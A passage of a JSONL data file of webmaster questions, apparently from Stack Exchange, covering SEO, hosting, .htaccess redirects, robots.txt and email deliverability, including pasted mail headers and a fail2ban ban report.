fourth way of dealing with this which is described below. **4 - Disclaimer page (haven't found any website implementing that technique):** Display a message such as : > \"You ended here because someone bought and linked the `child- > pornography.com` domain to our website. We do not own this domain and do not > associate ourselves with it. This request has been logged by our servers and > we will raise this issue with the competent authorities to have this domain > taken down. If you want to access our website, please click here.\" The good thing about this method is that it can be implemented at application layer (good if you don't have control over web server which happens with some hosting solutions), allows you to protect yourself from any liability, and offer the visitor to be redirected to your own website. **Which of the above options would you implement to deal with malicious domain linking (IMO only options 3 and 4 are worth considering) ?**"}
{"id":"23825","title":"There must be a science to single-page product sales sites. What is it?","text":"The sites I speak of are not landing pages, not really microsites in the sense that I've always had to deal with them. They are sites like the following: * Credit Contraction eBook * Homemade Strength eBook * Earn1k ... plan * The Truth About Abs I have seen them for all manner of things, these are just the ones I could remember off the top of my head. They all seem to follow an identical method of construction, marketing, call-to-action, content organization...There must be a science to building these sites. What are they called? What is this science? Tim Ferris wrote an article a while ago about The Truth About Abs's creator Mike Geary, mostly covering how he came to the idea and the things he does to execute upon it as a business. The article didn't really cover the science of the page though, the key to his success, except at the very end where there are a couple paragraphs that just graze the topic."}
{"id":"33565","title":"ads for a gaming network","text":"I am very new to web development and in some weeks I start my own small gaming network. Now I am doing everything alone and I struggle to find good resources about advertising networks. And I don't want to have ugly ads on my website. I searched for gaming advertisements and I found ad4games and gaming online advertising. At the moment I don't even know if I can pay the server costs. This is really bugging me. I contacted several ad networks, but all of them don't want to do a contract with me before my site launches. -> I have to wait and gather information about my visitors. Now I was curious which ad network other sites are using, and I saw that stackoverflow is using adzerk as an adserver. If I am correct I can get ads from different adnetworks and put them on my adserver. But overall the whole topic is like a huge blackbox for me. Could you recommend me some resources or give me some insights? Edit: I am currently listening to http:\/\/blog.stackoverflow.com\/2009\/08\/podcast-64\/ and its really interesting."}
{"id":"33566","title":"Mysterious 403 errors on images with proper permissions","text":"Recently I have been trying to install a forum on my website. At first I was having an issue with the forums alone but then I noticed it was occurring elsewhere on my website as well. When I have added images, they return in a 403 error. The images are there but they refuse to show up. I have tried it with multiple permissions numbers but every time I get the same result. After further inquiry, I discovered that some images were working. Here are a couple of examples: Working, 0644 Permissions Not Working, 0644 Permissions If you go to the directory that contains both of those images you will also see that no images show up in the directory. I do not know what's going on. In other parts of the website, images with full 777 permissions are resulting in 403 errors. I have talked with the hosting service but they have just directed me to change permissions, which I have done."}
{"id":"30616","title":"Deploying websites with a 'Maintenance Mode' switch","text":"I'm working on a site where I need to add a 'maintenance mode' and became curious to see what methods people use to deploy their sites to live, when there is a required downtime. Some ideas that come to my mind are symlinked folder switching, .htaccess redirects or even some sort of switch in the application but what do you use and why?"}
{"id":"8070","title":"Not so popular web : Change Domain and Web Name, SEO implications. Duplicate?","text":"I have owned a site for two years, but never become popular. Today Google income from \"clicks\" is almost nothing. So I started to redesign the site: more features, a cooler design, and more data. I also bought a better domain name for this site. What you you would suggest 1. Redirect from old domain? (like 30 unique visitors per day from Google search :\/ ) 2. Start from scratch and forget about the \"old\" one. I don't want to be \"detected\" as duplicate content. But it's possible that my actual site is penalized. I will post my site is allowed in a future edit :)"}
{"id":"12891","title":"Use rel=\"nofollow\" on internal ads?","text":"I know you're supposed to use rel=\"nofollow\" on outgoing ads, to keep from passing link juice, but what about internal ads? We have a number of links with pictures that I consider as ads to other parts of our site (usually to a sub-domain). Should I rel=\"nofollow\" them? With google's most recent algorithm change this month, I feel like some things have changed."}
{"id":"12893","title":"Are 22 words too many for an h2 tag?","text":"I'm laying out the structure of my page like this: <hgroup> <h1>Heading One<\/h1> <h2>Tagline<\/h2> <\/hgroup> And while I don't have a tagline per se, I have a short description about the company that totals up to 22 words. Should I put this in the h2, or should I drop the hgroup altogether and use put the description in a paragraphy? this is all going on in a < header> by the way."}
{"id":"8076","title":"How to avoid duplicate META and TITLE tag warnings in Google Webmaster Tools for the same URL in lowercase and CamelCase?","text":"looking through Google's Webmaster Tools today I saw a long list of supposedly duplicate `<meta name=description>` \/ `<title>` tag content with all of them showing a duplicate count of 2. A lot of them show as the conflicting URLs something like the following: \/deutschland\/Bayern\/Camping-Allweglehen-19062 \/deutschland\/bayern\/camping-allweglehen-19062 The only difference is the case of the first letters of some of the words. I have to admit I was surprised to see that Google treats these as separate URLs. But now that I know it does - what I can I do to clarify that this is the same website? I don't want to use `301` redirects as it would mean overhead for the user and a tiny bit for the server. I feel like I'll have to make sure all URLs that we put on our pages are lowercase so there won't be any reason for any crawler to crawl the same website twice. Is there any other trick \/ thing I can do to get rid of these duplicate warnings?"}
{"id":"39286","title":"How to get google and bing to index original image, not thumbnail?","text":"I've read this post Make google index the actual image not the thumbnail but my case is a little different. I have over a thousand images, in many different directories, with many different names, and in most cases the ones with full resolution are the ones indexed by google (bing is even better), but in some cases the thumbnails are the ones indexed, unfortunately. **I need to have 2 separate images** because we add a watermark to all our full-sized images since in the past i caught competitors stealing and using our images of our custom products, therefore, scaling down an image with a watermark would not look good. The images, when clicked on, lead to a page that displays the full image, with product description and not only the image itself. 90% of these pages are indexed by google and bing, and about 60% of the images (but still going up every day). Thumbnails are named asd-asd-asd_small.jpg (example) while full resolution pictures are named asd-asd-asd.jpg. **I useA1 Sitemap Generator for all my sitemaps, including images, but since i'm talking about over a thousand images, is there a practical way, easy to implement that would give priority to the full size images on indexing?**"}
{"id":"39284","title":"Delivering a web application to the client?","text":"A company I am working with built a web application that can be useful for many businesses. My question is what is the best way to deliver such an application? **Option 1:** 'Install' it on their website's server by getting their FTP information and giving them the application's files for them to use freely. OR **Option 2:** hosting it on our own websites server and have all businesses that need this service login in order to use it. I have been torn between the two for a long time and would appreciate any advice from someone how has some experience with this kind of problem."}
{"id":"57396","title":"Why does AVG complain with Exploit Blackhat SEO type 1703","text":"I installed \"AVG internet security\", opened a page in internet explorer, and AVG complains about \"Exploit Blackhat SEO (type 1703)\" for object name Action sports stock footage with no further details. (Note that I have not written this page. It seems to have been written in the distant past by several different persons.) When I look at the html source code, I do not notice anything unusual. But then again, I do not know what I should look for or change to satisfy AVG. I tried Sucuri SiteCheck with the results Security report (No threats found): check Blacklisted: No check Malware: No check Malicious javascript: No check Malicious iFrames: No check Drive-By Downloads: No check Anomaly detection: No check IE-only attacks: No check Suspicious redirections: No check Spam: No The links toward the bottom of the HTML page such as `http:\/\/clips.actionsportsstockfootage.com\/sdf_clip.php` link to a different server but at the same domain. -- How do I solve the issue? In the meantime, I have sent a report to AVG at their AVG Incorrect page rating report page."}
{"id":"58501","title":"IP, and page-specific redirect?","text":"I'm trying to send a particular IP, that is trying to get one page on my site, to another page, and do this through my .htaccess file. I've seen many general descriptions of how to do it (in many syntactically different ways) but frankly none of them work. I put these command s, of the sort RewriteEngine On RewriteCond %{REMOTE_ADDR} ^99\\.888\\.777\\.66$ RewriteRule ^\/askedforpage\\.html \/redirecttopage.html [R,NE,NC] in my _.htaccess_ file ... but these commands simply leave my site non- functional. I'm using Apache 2.2, on a Mac with OS 10.6.8. How do I do this?? * * * Here is my .htaccess file, without the \"deny\" commands for malicious IPs. Header set Accept-Ranges none order allow,deny allow from all Redirect permanent xyz.html http:\/\/xxyyzz.com\/header.htm"}
{"id":"68844","title":"Does Google penalize you for using an outdated version of Wordpress?","text":"If you are using an outdated version of Wordpress , do you get penalized for this ? In other words, does it matter for seo ? I know that from a security point of view it is always recommend to keep wordpress updated but on a specific site some of the custom plugins i use are not compatible with newer versions and it would break my site."}
{"id":"68387","title":"Anyone still using JavaScript disabled?","text":"Is there anyone left that's not using JavaScript? When designing websites, is it worth to care about that fraction of visitors? At least in Firefox you can't even disable it anymore."}
{"id":"1114","title":"Are there any capacity planning resources for phpBB?","text":"I know that busy phpBB forums can be resource intensive, but haven't run one myself, and can't find any sort of quantification of that. How do I plan hosting needs given an expected load of users\/logins\/posts\/etc? My current setup won't be adequate, but I have no idea how much more I'll need. It seems like this must have been addressed before but any query with the terms 'phpBB hosting' has been SEO'd to death and turns up nothing but ads for hosting services."}
{"id":"1119","title":"How widely used is VPS hosting for personal sites?","text":"I'm considering a move from my shared hosting setup to a Virtual Private Server. I'm aware of the major benefits and downsides of this idea. I have a few personal sites I would be running. Given the work involved in setting up and running a VPS, is it worthwhile for a few personal sites?"}
{"id":"23036","title":"Deciding on a revenue model for a web application","text":"When building a commercial web application, what are the factors that go into the decision of a revenue model? How many users are necessary for an advertising-supported application? What demographic factors of the user base makes them more attractive to advertisers? Conversely, when deciding on a subscription price, what factors go into setting a price. This seems like a decision we would want to get correct!"}
{"id":"47275","title":"Things to consider while picking domain name?","text":"We want to buy a domain name for our company. But all of the domain name we've discussed has already taken by some one else. Is it good to use trailing character to existing domain name so we have available domain name to register. E.g for: * example.com * example1.com * myexample.com or using long domain name like: * companyandproductname.com * bestproductname.com * my-product-name.com And also, is there any other thing to consider while picking domain name other than using company name and \/ or product on domain name? What is the advantage and disadvantage?"}
{"id":"48941","title":"Wordpress\/CMS for small business SEO?","text":"It's oft-heard that Wordpress has top-notch SEO and there are even rumors that Google's algorithms (and other search engines) are designed to specifically favor Wordpress-based sites. If I'm in charge of boosting SEO for a small service business website whose only relevant customer base is in its municipality, should I remake the whole site (presently hand-coded) in Wordpress or some CMS? Do Google and others really favor CMS-based sites when evaluating local business search queries?"}
{"id":"1448","title":"List of international top-level domains that allow foreign registrations","text":"Wikipedia has a list of top-level domains but few of their entries specify availability or restrictions, such as having to be a citizen or have a business presence, etc. So, what are some top-level domains with no to little restrictions with regards to who may register? These are domains particularly useful in domain hacks."}
{"id":"53804","title":"How to change URL without affecting SEO","text":"Please note that I have created a forum by installing the phpbb software in bluehost server in a folder named (lets give an example) \"examplefolder\" and thus the URL of a post is: `www.example.com\/examplefolder\/viewtopic.php` taking into consideration that this post appeared at first positions of google, bing, etc search enginees (after searching for the topic of this post), could you please let me know if the search engines' position of this post will be changed in case that I will change the name of \"examplefolder\" to something else."}
{"id":"42549","title":"Use web hosting as a external email server","text":"I have this question is it stupid to use a shared hosting to host my domain for only my email address not for a website."}
{"id":"22616","title":"http-equiv=content-language alternative - the way of specifying document language","text":"Lots of web sites uses following meta tag to specify the default language of the document: <meta http-equiv=\"content-language\" content=\"es-ES\"> When I go to W3C site and read about HTML language mark up I get this: > Using the meta element to specify the document-wide default language is > obsolete. Consider specifying the language on the root element instead. What is the way of specifying document language now?"}
{"id":"47036","title":"How to serve a DNS record for a hosted domain and Minecraft server?","text":"I'm using DreamHost to host the domain craftnetwork.co. The Minecraft Server needs to be hosted on subdomain.craftnetwork.co. Can I setup DNS records to direct users to a website when in a browser and the server IP when in Minecraft?"}
{"id":"57477","title":"Questions about infinite scrolling & SEO","text":"I have a page with a lot of moderate sized images (100's for now), and I am thinking of implementing infinite scroll for users, and have pagination combined with link prev\/next so SEO still picks up the later images (this will be hidden by js on document load) I know there are other questions about this, but I have certain questions which are not yet answered: * For the hiding of the pagination using onload, if I use display:none instead for the pagination, will SEO still pick it up, or should I change display to none through js when onload event? * If I implement the pagination as www.domain.com\/content?page=1, ...page=2, etc, will SEO pick up the GET params and treat them as non-duplicates and crawl them appropriately? * since this content is continuously being modified, the max # of pages can and will change, therefore do I need to add all the possible page numbers to sitemap.xml or will linking them from the first page be sufficient to be picked up by the crawlers? Thanks!"}
{"id":"42891","title":"Why is there are tilde (~) sign in most university URLs","text":"My university provides a web URL and some hosting space and the URL is like http:\/\/homepages.iitb.ac.in\/~pritampebam. Almost all universities I've come across seem to use this structure where there is the '~' sign right in front of the username. Other examples. http:\/\/web.media.mit.edu\/~mres\/ http:\/\/users.design.ucla.edu\/~reas\/ Why is it so?"}
{"id":"56656","title":"How to target geographic category keywords when pages are for business names","text":"I am creating a website similar to Yelp where people come and add their businesses. I noticed that many people use search engines this way: _restaurant in new york_ , _auto repair in los angeles_. But the business page in my website should have a `<title>` that is the name of the business, example: _Mitchell's Ice Cream_ or _Luscious Garage_. What should I make to reach all these search engine users?"}
{"id":"2301","title":"Firefox remembering telephone number as username","text":"I have a registration page which includes all the standard fields e.g. phone no, email etc. The telephone and password are tab adjacent i.e. not physically adjacent but if you are tabbing it goes first name -> surname -> email -> telephone -> password. For some reason is giving users a prompt to remember their user name and password when they register (which is nice) but it is saving the telephone number as the username. Are there rules for helping it decide\/stopping it from suggesting people remember the ever so useful telephone number\/password combination? Thanks in advance **EDIT:** * The names on the form elements are \"Phone\" and \"txtpassword\". * I would like it to remember email and password. Is this achievable given the current situation? * Unfortunately I cannot reorder the form fields. The order is given in the tabbing above."}
{"id":"30395","title":"Show events AND pageviews in Google Analytics","text":"Each page on my site contains a file, and I have Google Analytics set up to track file download events. I would like to see what fraction of users who visit Page X download Page X's file. I can view number of events by page by clicking on `Content » Events » Pages`. **But I can't figure out how to see both events and pageviews (or visits) at the same time.** Visits and pageviews are not available in the `Secondary dimension` dropdown from the Events list, and Events are not available as a `Secondary dimension` in the regular traffic listing (`Content » Site Content » All Pages`). I want something like this: Page Pageviews Events 1. \/section\/mypage 1,000 123 2. \/category\/anotherpage 867 41 3. \/about\/download 88 7 Is there a way to get this in Google Analytics?—to view events and pageviews, by page, at the same time?"}
{"id":"57470","title":"Hide website data for Chrome and FF addons: IP Whois & Flags Chrome & Norton","text":"I've got this addon and want to hide the information they publish for our website. They show Popularity, IP address info, nameservers, etc. Plus the traffic levels they report, 'popularity' reflects badly on anyone who uses them when traffic levels don't seem high and are not accurate.* It's like a shop displaying a counter of how many customers they get. Bad form to provide such information to the public. How does one hide this invasion of privacy? * By not accurate, I mean they're subjective"}
{"id":"11700","title":"Robots denied by domain is still listed in search results","text":"So, on all of our sites that are not search facing we've applied a robots.txt file (per How to exclude a website from real-time Google search results ?, or any other similar question). However, if search terms are specific enough, the domain itself can be found via results. An example of this can be found here. As you can see from the link, the domain itself can be found (content is not cached, but domain is listed). Additionally, performing a search with `site:hyundaidigitalmarketing.com` should 3 results. Checking backlinks provides a few as well, but I obviously cannot prevent them (linking is allowed in context) or control how these are handled (can't tell the host to add nofollow, noindex). Now, I know this is a severe edge case, however my companies clients are doing just this. In fact, our domains are pretty good, so even seemingly arbitrary searches are turning up relevant results. Now, I have to write up a report on how\/why this is happening. So, I turn to the wonderful Stack Exchange network to help me either understand what I am missing or understand what is happening. Links to industry articles are extremely helpful but, anything you can give is obviously greatful. I do intend to offer bounties the best I can to make this an answer to turn to in the future. **Edit:** I've opened a bounty on this question in hopes of getting some more responses on it. I've also provided the results of my own research below."}
{"id":"61148","title":"How to force search engines not to crawl my site, is there any special mark on them?","text":"I want to block search engines from crawling my websites. Atleast for Msn, Yahoo, Google, and Yandex. i dont really trust robot.txt. Because they can simply ignore it and continue crawling. I would use rails as my web framework. How can i do it, atleast to decrease the posibility destructive action they do by simply crawling a specific page. Is there any special mark or identifier on them while they are crawling a site ? This question marked as duplicate with Robots denied by domain is still listed in search results Wich is i guess a mistake. Above questions is asking specifically why. I dont really care why google crawling my site. I just want to block it. Show 404 status."}
{"id":"56070","title":"Impact of using lazy loading on SEO","text":"If I used lazy loading with Ajax, then am I right in saying that Google will not see the content in the lazy load? An example is if I have a part of my site featuring products towards the bottom of my homepage, but this section doesn't load until the user scrolls to it. Therefore in the source code of the page this would not be displayed nor would it be displayed in Google's cache. So is there a trade off with lazy loading? The site will download faster, but loses some optimization? Do you just need to be careful what to choose in the loading?"}
{"id":"3728","title":"How can I prevent my mail from being classified as spam?","text":"My company sometimes send mail, but it usually goes to \"spam\" folder in gmail. The email includes only a few sentences, without any links or images. Just plain text. How can I fix this? (Notice that I send mail with fake sender address, could that be main reason?)."}
{"id":"49571","title":"Random behavior sending mails to Gmail","text":"I am sick to warn website users (new and existing) who have Gmail accounts \"Check your spam folder\". I suffer this as a webmaster and as a user. For one website: The Port25 Solutions, Inc. team > ## Summary of Results > > SPF check: pass > DomainKeys check: neutral > DKIM check: pass > Sender-ID check: pass > SpamAssassin check: ham SpamAssassin check details: > SpamAssassin v3.3.1 (2010-03-16) > > Result: ham (-2.0 points, 5.0 required) > > pts - rule - name - description > > * -1.9 BAYES_00 BODY: Bayes spam probability is 0 to 1% [score: 0.0000] > * 0.0 HTML_MESSAGE BODY: HTML included in message > * -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from > author's domain > * 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily > valid > * -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature > Example 1) I have a website with fail2ban intalled. It sends a report to `smth@gmail.com` each time a firewall rule is broken. Plain text the messages only differs on offender's IP and some related data. Most of these mails go to Inbox but I found some gmail spam folder. Example 2) A Gmail user had registered in my system. He got the confirmation mail and following ones (purchases, whatever) but one day he recives a notice in his spam folder. I know that if the user answers just one of any of the emails he recives then Gmail \"understands\" my server is dependable and Gmail does not deliver my messages to spam folder. Maybe I should ask \"Please answer this email to confirm registration\" to accomplish that. But the problem is if this first mail is considered as spam. I've read a lot of advices about this issue and implemented lot of things. For some sites I had implemented MX in Google mail servers but it is not free anymore and people don't want to pay hundreds dollars on it. What do you suggest? # This is the body of Example 2 banned email (subject: _[Fail2Ban] SSH: banned 42.96.162.225) headers are always the same_ Hi, The IP 42.96.162.225 has just been banned by Fail2Ban after 5 attempts against SSH. Here are more information about 42.96.162.225: [Querying whois.arin.net] [Redirected to whois.apnic.net] [Querying whois.apnic.net] [whois.apnic.net] % [whois.apnic.net node-3] % Whois data copyright terms http:\/\/www.apnic.net\/db\/dbcopyright.html inetnum: 42.96.128.0 - 42.96.255.255 netname: ALIBABA-BJ-NET descr: Alibaba (Beijing) Technology Co., Ltd. descr: 9F,Tower A Winterless center,NO.1 West Da Wang Lu, descr: Chaoyang District,Beijing country: CN admin-c: PW270-AP tech-c: PW270-AP status: ALLOCATED PORTABLE mnt-by: MAINT-CNNIC-AP mnt-lower: MAINT-CNNIC-AP mnt-irt: IRT-CNNIC-CN changed: hm-changed@apnic.net 20110311 source: APNIC person: Peter Wang nic-hdl: PW270-AP e-mail: huijun.wanghj@alibaba-inc.com address: No.99 HuaXing Rd. Hangzhou,310099 phone: +86-571-85022088 phone: +86-010-65985220 fax-no: +86-010-65985401 country: CN changed: ipas@cnnic.net.cn 20080115 mnt-by: MAINT-CNNIC-AP source: APNIC Regards, Fail2Ban Of course the message varies according to whois IP"}
{"id":"29826","title":"Prevent mail flagged as spam when switching mail servers (new SPF records)?","text":"> **Possible Duplicate:** > How could I prevent my mail from being recognized as spam? For our business, we send out a significant amount of newsletter alerts to customers that sign up for it on our website. We used to send this mail directly from our web server via PHP. But because the web server limited us to the number of emails we could send per day, we purchased a VM server at a different host (that doesn't throttle email) and we are going to use that account solely for sending out the emails. Anyways, now that the SPF records are going to be different from what they used to be and the source mail server is different, what steps need to be taken to prevent these emails being flagged as spam? I know in Gmail, it's pretty smart about determining if the person actually sending the email is sending it from the server it expects (for flagging Phishing emails, etc). We don't want that to happen to our emails. Just sending a couple test emails out, Gmail's shows the SPF record saying: Authentication-Results: mx.google.com; spf=neutral (google.com: XXX.XXX.23.176 is neither permitted nor denied by best guess record for domain of root@mail.newserver.com) smtp.mail=root@mail.newserver.com So is there anything we need to do with regards to SPF records as we move forward?"}
{"id":"58166","title":"Visitors are getting phishing warnings and my emails are being delivered to spam\/junk boxes","text":"I run a forum and I have had reports of some members receiving phishing warnings when they attempt to register, and emails being sent out (e.g. to confirm accounts) are being delivered to junkboxes. This is obviously quite a serious issue as it means many would-be members are not able to validate their accounts and properly join. Is there any way I can address this? My site is obviously not a phishing scam or anything untoward like that."}
{"id":"28300","title":"Hotmail — avoid sign up confirmation \/ lost password being marked as spam","text":"> **Possible Duplicate:** > How could I prevent my mail from being recognized as spam? When sending legit large volume Emails from our IP (e.g. for sign up confirmation or Lost password) it gets marked as Junk in Hotmail. In the past, there was the Sender ID SPF Record Submission Form, where you could put yourself on the radar of Microsoft. See this old discussion. However, as of April 2012 this has been abandoned. Any hints what to do now? What is a good way to contact the Hotmail team?"}
{"id":"27585","title":"How did my email end up in spam? Spam only filters this specific email, other email contents work","text":"> **Possible Duplicate:** > How could I prevent my mail from being recognized as spam? My website has users buy our products and when the purchase completes, it sends the user an email. However, this email always ends up in spam! When the user first registers, the site also sends an email, this email however is not filtered and goes into the normal inbox. I'm not quite sure why this is so, gmail vaguely tells me that \" It's similar to messages that were detected by our spam filters.\" So I'm thinking that I need to reword the following email better. Can I get some tips? Or could something else be causing this?  thanks! here's the unformatted email: Delivered-To: mugenex69@gmail.com Received: by 10.112.32.98 with SMTP id h2csp61953lbi; Tue, 20 Mar 2012 21:09:13 -0700 (PDT) Received: by 10.180.79.72 with SMTP id h8mr22836827wix.1.1332302953175; Tue, 20 Mar 2012 21:09:13 -0700 (PDT) Return-Path: <contact@website.com> Received: from mail26.elasticemail.org (mail26.elasticemail.org. [178.32.180.26]) by mx.google.com with SMTP id 6si518487wiz.41.2012.03.20.21.09.12; Tue, 20 Mar 2012 21:09:12 -0700 (PDT) Received-SPF: pass (google.com: domain of contact@website.com designates 178.32.180.26 as permitted sender) client-ip=178.32.180.26; Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@website.com designates 178.32.180.26 as permitted sender) smtp.mail=contact@website.com; dkim=pass header.i=@website.com DKIM-Signature: v=1; a=rsa-sha1; bh=qjc8jxQuGy9pLN1YV9TR2PHQYKg=; c=relaxed\/relaxed; d=website.com; s=api; h=DomainKey-Signature:MIME-Version:From:To:List-Unsubscribe:Subject:Date:Reply-To:Message-ID:Content-Type; b=Odt+nYhjntXPl7JPVHeJWjkStemt6so+FPVYY6oMKziMFzmW8YiLhN8WwSLY0faMcn\/rirKsO2dOm\/kvcHlqUJC7ldhaydE6bPekkBDa9kBovlGwPNm6xy9QWPP9I1fXDLDCwqqeAXv8kN0daXbh3pVyqWNUOk5cgQ35OgpQpKI= DomainKey-Signature: q=dns; a=rsa-sha1; c=simple; d=website.com; s=api; h=MIME-Version:X-Mailer:From:To:X-Priority:List-Unsubscribe:Subject:Date:Reply-To:Message-ID:Content-Type; b=F7NNZIEyEV+64uYD8pVpe91WLP19Tw2Whk4OKpkLeAfkmrNIA7AjP0XYU1JWTlEyibHQJjjbhR62I3MvVJBSGp75eWfOuwb2AqYWZ\/jAlMWznnfQLVv7OlYJsErGxYP6GUNNcuJaqlTPFDanJwtaEvR+tqXZRB7xrUisMd8lq2I= MIME-Version: 1.0 X-Mailer: email.website.com From: \"Website Contact\" <contact@website.com> To: mugenex69@gmail.com X-Priority: 3 (Normal) List-Unsubscribe: <http:\/\/email.website.com\/tracking\/unsubscribe?msgid=su6g-8kfd0s0g>, <mailto:unsubscribe+su6g-8kfd0s0g@bounces.elasticemail.net?subject=unsubscribe> Subject: Website Tickets: event Date: Wed, 21 Mar 2012 04:09:17 +0000 Reply-To: \"Website Contact\" <contact@website.com> Message-ID: <4tlaxecj2jy8.su6g-8kfd0s0g@email.website.com> Content-Type: multipart\/alternative; boundary=\"----=_NextPart_000_3F77_7A0DF805.A8C886C0\" ------=_NextPart_000_3F77_7A0DF805.A8C886C0 Content-Type: text\/plain; charset=\"utf-8\" Content-Transfer-Encoding: base64 SGVsbG8hIAoKIEhlcmUgYXJlIHlvdXIgdGlja2V0KHMpIGZvciBDVEFTIGVDc1RBU3kgMjAxMjog CgpodHRwczovL2NhbXB1c2FtcC5jb20vP3RpY2tldHMvNy95aGloZ3Znd3Z3cWR3cXhtdnQKClNp bXBseSBicmluZyBpdCB3aXRoIHlvdSBvbiB5b3VyIHNtYXJ0cGhvbmUsIG9yIHByaW50IHRoZSB0 aWNrZXQgb3V0IHRvIGJlIHNjYW5uZWQgYXQgdGhlIGV2ZW50LiBFbmpveSwgYW5kIHdlIGFwcHJl Y2lhdGUgeW91ciBwdXJjaGFzZS4KClNpbmNlcmVseSwKVGhlIENhbXB1c0FtcCBUZWFt ------=_NextPart_000_3F77_7A0DF805.A8C886C0 Content-Type: text\/html; charset=\"utf-8\" Content-Transfer-Encoding: base64 SGVsbG8hIDxici8+PGJyLz4gSGVyZSBhcmUgeW91ciB0aWNrZXQocykgZm9yIENUQVMgZUNzVEFT eSAyMDEyOjxici8+PGEgaHJlZj0iaHR0cDovL2VtYWlsLmNhbXB1c2FtcC5jb20vdHJhY2tpbmcv Y2xpY2s\/bXNnaWQ9c3U2Zy04a2ZkMHMwZyZ0YXJnZXQ9aHR0cHMlM2ElMmYlMmZjYW1wdXNhbXAu Y29tJTJmJTNmdGlja2V0cyUyZjclMmZ5aGloZ3Znd3Z3cWR3cXhtdnQiPiBodHRwczovL2NhbXB1 c2FtcC5jb20vP3RpY2tldHMvNy95aGloZ3Znd3Z3cWR3cXhtdnQgIDwvYT4gPGJyLz48YnIvPlNp bXBseSBicmluZyBpdCB3aXRoIHlvdSBvbiB5b3VyIHNtYXJ0cGhvbmUsIG9yIHByaW50IHRoZSB0 aWNrZXQgb3V0IHRvIGJlIHNjYW5uZWQgYXQgdGhlIGV2ZW50LiBFbmpveSwgYW5kIHdlIGFwcHJl Y2lhdGUgeW91ciBwdXJjaGFzZS48YnIvPjxici8+U2luY2VyZWx5LDxici8+VGhlIENhbXB1c0Ft cCBUZWFtPGltZyBzcmM9Imh0dHA6Ly9lbWFpbC5jYW1wdXNhbXAuY29tL3RyYWNraW5nL29wZW4\/ bXNnaWQ9c3U2Zy04a2ZkMHMwZyIgc3R5bGU9IndpZHRoOjFweDtoZWlnaHQ6MXB4IiBhbHQ9IiIg Lz4= ------=_NextPart_000_3F77_7A0DF805.A8C886C0--"}
{"id":"57133","title":"Why are my emails going into recipients' spam folders?","text":"My company sometimes send mail, but it usually goes to \"spam\" folder in gmail. The email includes html. How can I fix this?"}
{"id":"28332","title":"Improve email Delivery Rates","text":"> **Possible Duplicate:** > How could I prevent my mail from being recognized as spam? I have a web server that sends legitimate transactional email in high quantities. A reasonable percentage of users report that they never receive the emails. For every message sent, there's also a blind carbon copy going to an unfiltered email box on a different provider that I review to ensure the server actually sent the emails. All of the emails make it to my bcc box, so the server is sending the emails properly. It seems to be a spam filtering problem at other email providers. The hosting provider for the web server indicates a reverse dns lookup has been set at their level linking the emails ip address properly to my server and domain. **Question:** Is there anything else I can do to improve the rate that 3rd party service providers are filtering the emails I'm sending? Is there anything I can set on the DNS that I control to show that the server sending the emails is legitimate?"}
{"id":"31788","title":"C-panel mail goes into spam instead of inbox in gmail","text":"> **Possible Duplicate:** > How could I prevent my mail from being recognized as spam? I have c-panel vps server. I have created a domain on the same server, but when I send mail through webmail to gmail email id it goes into the spam folder. Note--->Mail ip note blacklisted Spf records enable DKIM enable reverse dns are perfect ====================================================================== Email header Information: Delivered-To: robinfriendly5@gmail.com Received: by 10.143.93.13 with SMTP id v13csp119806wfl; Fri, 6 Jul 2012 08:01:36 -0700 (PDT) Received: by 10.182.52.42 with SMTP id q10mr26133912obo.46.1341586895571; Fri, 06 Jul 2012 08:01:35 -0700 (PDT) Return-Path: <nandini@harishjoshico.com> Received: from lakshyacs-u.securehostdns.com ([50.97.147.134]) by mx.google.com with ESMTPS id fx3si18028369obc.144.2012.07.06.08.01.35 (version=TLSv1\/SSLv3 cipher=OTHER); Fri, 06 Jul 2012 08:01:35 -0700 (PDT) Received-SPF: pass (google.com: domain of nandini@harishjoshico.com designates 50.97.147.134 as permitted sender) client-ip=50.97.147.134; Authentication-Results: mx.google.com; spf=pass (google.com: domain of nandini@harishjoshico.com designates 50.97.147.134 as permitted sender) smtp.mail=nandini@harishjoshico.com Received: from localhost.localdomain ([127.0.0.1]:39016 helo=harishjoshico.com) by lakshyacs-u.securehostdns.com with esmtpa (Exim 4.77) (envelope-from <nandini@harishjoshico.com>) id 1SnA2J-0006Nq-05 for robinfriendly5@gmail.com; Fri, 06 Jul 2012 20:31:35 +0530 Received: from 223.189.14.213 ([223.189.14.213]) (SquirrelMail authenticated user nandini@harishjoshico.com) by harishjoshico.com with HTTP; Fri, 6 Jul 2012 20:31:35 +0530 Message-ID: <a545d976011d97b0fe9f945e15e0442a.squirrel@harishjoshico.com> Date: Fri, 6 Jul 2012 20:31:35 +0530 Subject: ggglkhl From: nandini@harishjoshico.com To: robinfriendly5@gmail.com User-Agent: SquirrelMail\/1.4.22 MIME-Version: 1.0 Content-Type: text\/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - lakshyacs-u.securehostdns.com X-AntiAbuse: Original Domain - gmail.com X-AntiAbuse: Originator\/Caller UID\/GID - [47 12] \/ [47 12] X-AntiAbuse: Sender Address Domain - harishjoshico.com jhkhl ================================================================"}
{"id":"57420","title":"How to stop my mails reaching spam box?","text":"I'm trying to send an HTML Emailer in bulk marking the destination emails in BCC from my official mail, but my mails are reaching spam box. How to stop this?"}
{"id":"56652","title":"Reliability sending and receiving email (mainly about receiving)","text":"I currently have a ‘forwards to’ set up in my godaddy account, so email sent to richard@richardclunan.com goes to my gmail. And I send email from my gmail so it looks like it’s sent from richard@richardclunan.com My godaddy account is using a POP server. I’m wondering about the reliability. It’s not an issue for me if some emails are delayed sometimes. But it is an issue if I don’t receive emails or if emails I send out don’t get to their destinations. Is this an issue with a POP server? I’m guessing any issue would be with me receiving email, rather than sending – since they’re sent from gmail, but received via a godaddy POP server. – I have my domains registered with godaddy, hosting on hostgator, and using POP email server on godaddy. I could use the hostgator email server if that might be a better set up; though I don’t want to change it unnecessarily. – Or I guess another option would be to use a Google Apps for business account, instead of my free gmail – would this mean better reliability? Would doing this mean I’d then not be using the godaddy POP server, or would I still be using a mail server at godaddy, since my domain is registered with godaddy? Thanks."}
